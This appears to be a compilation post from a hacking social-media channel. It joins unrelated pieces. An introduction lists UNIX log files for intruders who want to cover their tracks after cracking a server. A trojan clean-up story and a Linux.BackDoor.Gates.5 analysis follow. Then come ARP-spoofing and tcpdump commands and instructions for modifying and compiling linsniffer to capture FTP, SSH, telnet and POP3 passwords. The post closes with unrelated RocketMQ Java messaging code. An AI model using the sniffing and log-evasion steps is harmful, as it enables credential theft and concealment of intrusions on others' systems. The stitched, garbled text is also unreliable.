🦑 Now After Cracking A linux server wanna analyse The log file :
fb.com/UndercOdeTestingCompany

🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋 :

1) it is necessary to introduce the UNIX log files. Many intruders don't want hacked computers to track them, how do they do that.

2) The system administrator mainly relies on the system's LOG, which is often called the log file, to obtain the traces of the intrusion and the IP and other information of the intruder. Of course, some administrators use third-party tools to record information about intruding into a computer. Here we mainly talk about files that record intrusion traces in general U NIX systems.

3) There are several versions of UNIX systems, each system has different LOG files, but most should have about the same storage location, the most common location is the following several:
/ usr / adm, earlier versions of UNIX;
/ var / adm, newer versions use this location;
/ var / log, some versions of Solaris, Linux BSD, Free BSD use this location;
/ etc, most UNIX versions put utmp here, some also put wtmp here This is also the location of syslog.conf.

4) The functions of some files are listed below, of course, they also differ according to different invaded systems.

> acct or pacct, which records the command records used by each user;
access_log, which is mainly used to run NCSA HTTPD on the server, what sites in this log file will connect to your server
aculog, which holds the MODEMS record you dialed out;
lastlog, which records the user's recent login record and the initial destination of each user, sometimes the last unsuccessful login;
loginlog, which records some abnormal login records;
messages , Record the output output to the system console, and other information is generated by syslog;
security, record some cases of using the UUCP system to attempt to enter the restricted range;

>sulog, record the record using the su command;
utmp, record the current login to the system For all users, this file changes constantly as the user enters and leaves the system;
utmpx, an extension of UTMP;
wtmp, records user login and logout events;
syslog, the most important log file, is obtained using the syslogd daemon.

🦑 Log information:

1) / dev / log, a UNIX domain socket that accepts messages generated by processes running on the local machine;

2) / dev / klog, a device that receives messages from the UNIX kernel;
port 514, an Internet socket , Accepting syslog messages generated by other machines via UDP;

3) Uucp, the recorded UUCP information, can be updated by local UUCP activities, and can also be modified by actions initiated by remote sites. The information includes calls made and accepted, requests made, sender , Sending time and sending host;

4) lpd-errs, a log that handles printer fault information;
ftp log, you can obtain the recording function by executing ftpd with the -l option;
httpd log, HTTPD server records each web access record in the log;
History log, this file keeps a record of the user's recent input commands;
vold.log, records errors encountered when using external media.

5) The above introduces the main steps of hacking the server, and the reader should now have some basic knowledge about it. It needs to be emphasized again that if the reader lacks knowledge of the UNIX system, it is absolutely impossible to master it.

🦑How To Know If Your Linux Is Hacked ?
The experience of a Linux server being hacked and deleted :I. Background full tutorial :
t.me/UndercOdeTesting

🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋 :

1) In the evening, I saw a server running very high traffic, which is obviously not the same as usual. The traffic reached 800Mbps. The first impression should be a Trojan horse, and it was being treated as a broiler.

2) For the best performance of our server, the firewall (iptables) is not turned on, but there is a physical firewall in front of the server, and the machine is doing port mapping, which is not a common port. It should be fully secure in theory Recently got involved with the Trojan. It always keeps me coming. I also take this opportunity to record the discovery process.

3) Find and track

a) View the traffic graph and find the problem

The web page is very stuck when viewed, and sometimes it doesn't even respond.



b) top dynamic view process

I immediately remotely logged in to the server with the problem. The remote operation was very stuck. The traffic from the network card was very large. I found an abnormal process through top that took up a lot of resources. I did n’t look at the name and thought it was a Web service process.

c) ps command to view the path of the process

I found this program file under the / etc directory, which is a binary program. I copied it and put it near this article for everyone to study on the virtual machine, haha.

d) End the abnormal process and continue tracking

killall -9 nginx1

rm -f / etc / nginx1
After killing the process, the traffic immediately came down, and the remote was not blocked. Do you delete the program file and kill the abnormal process? Do we think that the processing is complete? It is certainly not that simple to think about it. This is a Trojan. Generate the program file by ourselves (as expected, I did generate it later before I figured it out), we have to continue to track down.

e) View login records and log files secure

Run the command last to view the account login records. Everything is normal. Checking the system file message did not find anything, but when I checked the secure file, I found that there were some abnormalities. It was related to authentication anyway. Should I try to connect to control the packet sending?

f) ps check the process again

In fact, there was this problem during the first ps. At that time, it was not found. The second time was to study each process by self-study. The self-study looked for a less normal process and found a strange ps process.

g) I found a normal machine and checked the size of the ps command. The normal size is about 81KB. Then the ps on this machine is as high as 1.2M. The command file must be replaced.

h) Then I went into the directory of another ps and saw the following commands. Then I checked these commands of the system and found that they all became very large, all reached 1.2M. These system command files must be all Replaced.

🦑 1) More abnormal files found

Looking at the crontab of the timed task file, I didn't find anything. Then I looked at the system startup file rc.local, and there was nothing abnormal. Then I went into the /etc/init.d directory to see the strange script files DbSecuritySpt, selinux.


2) The first file can be seen that he started the abnormal file. The second one should be related to the login. I don't know the specifics anyway, there must be a problem anyway.

3) Since it is related to login, then find the one related to ssh. I found the following file, which is a hidden file. This is also a Trojan file. Let's record it first, so that the program names are very similar to our service name. Both of them are 1.2M in size and they may be a file.

4) I took a look at the directory / tmp that the Trojan likes to appear, and also found abnormal files. From the name, I felt like I was monitoring the Trojan horse program-

5) Thinking of this, there should be a lot of replacement commands. We can't solve it by relying on us alone. My suggestion is to reinstall the operating system and make good security policies.

> the Trojan manually clear

🦑 The general steps are summarized as follows:

1) Simple judgment of Trojan horse

2) Upload the following command to / root

ps netstat ss lsof
3) Delete the following directories and files

4) Find out abnormal programs and kill

5) Remove the command containing Trojan and reinstall (or copy the normal program uploaded in the past)

It seems that reinstalling by myself doesn't work. I am looking for a normal machine copy command.

🦑 antivirus tools scan

1) Install the anti-virus tool clamav

2) Start the service

service clamd restart
3) Update the virus database

Since ClamAV is not the latest version, there is an alert message. You can ignore or upgrade the latest version.

4) Scanning method

You can use clamscan -h to view the corresponding help information

5) check the log and find

Delete the found command and replace the normal one

🦑When Exactly locate the torgan process ?
twitter.com/UndercOdeTC

🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋 :

1) Described here is a Trojan in the malware family Linux.BackDoor.Gates: Linux.BackDoor.Gates.5.

2) This malware combines the functionality of traditional backdoors and DDoS attack Trojans to infect 32-bit Linux versions. Its characteristics can be concluded that it belongs to the same virus writer as the Linux.DnsAmp and Linux.DDoS family Trojans.

3) The new Trojan consists of two functional modules: the basic module is a backdoor program capable of executing instructions issued by the criminals, and the second module is saved to the hard disk during the installation process for DDoS attacks. Linux.BackDoor.Gates.5 collects and forwards the following information of the infected computer to the criminals during the operation:

> Number of CPU cores (read from / proc / cpuinfo).

CPU speed (read from / proc / cpuinfo).

CPU usage (read from / proc / stat).

Gate'a's IP (read from / proc / net / route).

Gate'a's MAC address (read from / proc / net / arp).

Network interface information (read from / proc / net / dev).

MAC address of the network device.

Memory (using the MemTotal parameter in / proc / meminfo).

The amount of data sent and received (read from / proc / net / dev).

Operating system name and version (by calling the uname command).

After booting, Linux.BackDoor.Gates.5 checks the path of its startup folder and implements four behavior modes based on the results of the check.

🦑If the path of the backdoor program's executable file is inconsistent with the path of the netstat, lsof, and ps tools, the Trojan will pretend to be a daemon to start in the system, then initialize it, and decompress the configuration file during the initialization process. The configuration file contains various data necessary for the Trojan to run, such as the management server IP address and port, and backdoor program installation parameters.

> According to the g_iGatsIsFx parameter value in the configuration file, the Trojan may actively connect to the management server or wait for a connection: After successful installation, the backdoor program will detect the IP address of the site it is connected to, and then use the site as a command server.

🦑Torgan Process In Any Linux (80% same Android)
fb.com/UndercOdeTestingCompany

🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋 :

1) During the installation process, the Trojan checks the file /tmp/moni.lock. If the file is not empty, it reads the data (PID process) and "kills" the ID process.

2) Then Linux.BackDoor.Gates.5 will check whether the DDoS module and backdoor own processes are started in the system (if they are started, these processes will also be "killed"). If a special flag g_iIsService is set in the configuration file, the Trojan sets itself as self-starting by writing the command line #! / Bin / bash \ n <path_to_backdoor> in the file /etc/init.d/, and then Linux.BackDoor. Gates.5 creates the following symbolic links:

3) If the flag g_bDoBackdoor is set in the configuration file, the Trojan will also try to open the /root/.profile file and check if its process has root permissions. The backdoor then copies itself into / usr / bin / bsd-port / getty and starts. In the final stage of the installation, Linux.BackDoor.Gates.5 creates another copy in the folder / usr / bin /, names it the corresponding name set in the configuration file, and replaces the following tools:

/ bin / netstat
/ bin / lsof
/ bin / ps
/ usr / bin / netstat
/ usr / bin / lsof
/ usr / bin / ps
/ usr / sbin / netstat
/ usr / sbin / lsof
/ usr / sbin / ps

4) The Trojan completes the installation with this and starts calling basic functions.

5) When executing the other two algorithms, the Trojan will also pretend to be a daemon and start on the infected computer. Check whether its components are started by reading the corresponding .lock file (if it is not started, start the component), but it will start automatically after saving the file and registering When using a different name.

6) After setting up a connection with the command server, Linux.BackDoor.Gates.5 receives configuration data from the server and commands that the bot needs to complete. According to the instructions of the criminals, the Trojan can automatically update, launch or stop DDoS attacks on remote sites with specified IP addresses and ports, execute commands contained in configuration data, or execute other commands by establishing connections with remote sites with specified IP addresses.

7) The main DDoS attack target of this backdoor program is random servers, however, the attackers also include other countries.

./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110

Use tcpdump to monitor in another login

tcpdump -i eth0 host 192.168.0.11

Found data, save the monitored data in the file:

tcpdump -i eth0 host 172.16.0.12 -w pop.txt

Stop after 10 minutes, download the pop.txt to the local with the sz command under SecureCRT, and then analyze it with Ethereal.

Now we can use linsniffer to listen to the username and password we want.

First modify linsniffer.c: listen to the corresponding application password according to your needs. Mine is as follows:

if(ntohs(tcp->dest)==21) p=1; /* ftp */

if(ntohs(tcp->dest)==22) p=1; /* ssh for comparison added for example only comment out if desired*/

if(ntohs(tcp->dest)==23) p=1; /* telnet */

if(ntohs(tcp->dest)==80) p=1; /* http */

if(ntohs(tcp->dest)==110) p=1; /* pop3 */

if(ntohs(tcp->dest)==513) p=1; /* rlogin */

if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

🦑 Compile and execute

[root@pibigstar root]# gcc -o linsniffer linsniffer.c

Will prompt below

In file included from /usr/include/linux/tcp.h:21,
from linsniffer.c: 32:
/usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include < endian.h> instead!

Regardless of the warning, just run the compiled linsniffer.

[root@pibigstar root]# ./linsniffer

🦑 Three ways to send messages 2020 by Underc0de :

> Send synchronously
twitter.com/UndercOdeTC

🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋 :

1) Producer can be blocking or non-blocking when sending messages. There are three types of transmission methods, which are synchronous, asynchronous, and one-way (ONEWAY). send()The method that was introduced earlier to return SendResult is blocking.

2) It must wait until the Broker has responded before returning to continue execution. For the following code, the second message can be sent only after the first message is sent, and then the third message. This blocking sending method is also called synchronous sending, and its overall response time also includes possible retry time.

3) Internally, it will retry twice by default. You can setRetryTimesWhenSendFailed()specify the maximum internal retry times when sending synchronously.

@Test
public void testSyncSend() throws Exception {

DefaultMQProducer producer = new DefaultMQProducer("group1");
//Name Server
producer.setNamesrvAddr(nameServer);
producer.start();
for (int i = 0; i < 10; i++) {

Message message = new Message("topic1", ("hello" + i).getBytes());

SendResult sendResult = producer.send(message);
if (sendResult.getSendStatus() == SendStatus.SEND_OK) {
System.out.println("消息发送成功：" + sendResult);
} else {
System.out.println("message..：" + sendResult);
}
}

producer.shutdown();
}

🦑 methode 2 for sending message : Send asynchronously
instagram.com/UndercOdeTestingCompany

🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋 :

1) The calling send()thread will block when sending synchronously , and the current thread will not block when sending asynchronously.

2) The send result will be called back by a callback function. The following code is an example of sending a message asynchronously.

3) The difference from sending a message synchronously is that it sends an additional SendCallback object when sending a message.

4) This method returns immediately after calling this method without waiting for the response from the Broker.

5) The corresponding method of the SendCallback object will be called back after the message is sent successfully or fails. So for the following example, the second message is sent when the first message has not been confirmed by the Broker and the third message is the same. The order in which they are successfully sent by the Broker is actually uncertain.

@Test
public void sendAsync() throws Exception {
DefaultMQProducer producer = new DefaultMQProducer("group1");
producer.setNamesrvAddr(nameServer);
producer.start();
CountDownLatch latch = new CountDownLatch(10);
for (int i = 0; i < 10; i++) {
Message message = new Message("topic1", ("send by async, no." + i).getBytes(RemotingHelper.DEFAULT_CHARSET));
producer.send(message, new SendCallback() {
@Override
public void onSuccess(SendResult sendResult) {
System.out.println("..：" + message);
latch.countDown();
}

@Override
public void onException(Throwable throwable) {
System.out.println("...");
latch.countDown();
}
});
}
latch.await();
producer.shutdown();
}

twenty one
twenty two
twenty three
twenty four
25...

6) If sending an asynchronous message fails, it will also retry internally. The maximum number of retries is setRetryTimesWhenSendAsyncFailed()specified, and the default is 2.

ONEWAY

🦑 ONEWAY - sms sending addition information by Underc0de :
In addition to synchronous sending and asynchronous sending, there is also a sending method called ONEWAY.

> Its sending is one-way, that is, it does not need to wait for the response from the Broker. It only needs to send, regardless of the success or failure of sending. It is usually used in scenarios where messages are not so important and can be lost. It is sent by calling sendOneway().

@Test
public void sendOneway() throws Exception {
DefaultMQProducer producer = new DefaultMQProducer("group1");
producer.setNamesrvAddr(nameServer);
producer.start();
for (int i=0; i<10; i++) {
Message message = new Message("topic1", "tag2", ("message send with oneway, no."+i).getBytes());
producer.sendOneway(message);
}
producer.shutdown();
}
